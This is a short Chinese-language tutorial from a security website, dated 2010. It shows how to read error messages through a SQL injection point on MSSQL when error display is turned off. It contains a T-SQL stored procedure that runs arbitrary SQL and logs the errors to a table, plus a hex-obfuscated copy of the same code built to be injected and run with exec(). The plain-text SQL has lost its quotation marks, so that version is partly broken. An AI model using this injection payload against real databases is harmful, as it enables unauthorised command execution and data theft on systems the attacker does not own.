首页 > 数据库 > SQL Server > 正文
揪出MSSQL SERVER“错误提示”
2010-09-14       个评论      
收藏    我要投稿

痛苦的信仰

有某种情况,错误提示不开启,你只能open或者union甚至于Update Table for Web Information来返回数据。

当执行某些需要的多语句时,我们希望知道我们的语句执行时发生了哪些错误,以进行应对,有时候这些信息对你很重要。现在就对此情况进行讨论。

CREATE PROC RunSQL @sql nvarchar(2048)
AS
BEGIN
declare @msg nvarchar(2048);
set @msg = Error: ;
exec sp_executesql @sql;
select @msg = @msg + description from master.dbo.sysmessages where error=@@error;
set @msg = Execute: + @sql + | + @msg;
if not exists(select * from sysobjects where name=errorstate) create table errorstate(msg nvarchar(2048));
insert into errorstate values(@msg);
END

安装这个看扩展存储过后,用他来执行命令。会把错误信息写入表errorstate。呵呵,当然注入点环境是不能建扩展存储的,因为CREATE PROC必须是多语句的第一条语句。这容易满足:

declare @code varchar(2000);set @code=0x4352454154452050524F432052756E53514C204073716C206E76617263686172283230343829415320424

547494E206465636C61726520406D7367206E766172636861722832303438293B73657420406D7367203D20274572

726F723A20273B657865632073705F6578656375746573716C204073716C3B73656C65637420406D7367203D20

406D7367202B206465736372697074696F6E2066726F6D206D61737465722E64626F2E7379736D65737361676

573207768657265206572726F723D40406572726F723B73657420406D7367203D2027457865637574653A20272

02B204073716C202B20277C27202B20406D73673B6966206E6F74206578697374732873656C656374202A20667

26F6D207379736F626A65637473207768657265206E616D653D276572726F727374617465272920637265617465

207461626C65206572726F727374617465286D7367206E76617263686172283230343829293B696E736572742069

6E746F206572726F7273746174652076616C75657328406D7367293B454E44;exec(@code)

呵呵,一点雕虫小技,希望对读者有用。

点击复制链接 与好友分享!回本站首页
相关TAG标签 错误
上一篇:mssql2005恢复xp_cmdshell
下一篇:如何建立sql server存储过程
相关文章
图文推荐
文章
推荐
点击排行

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训
版权所有: 红黑联盟--致力于做实用的IT技术学习网站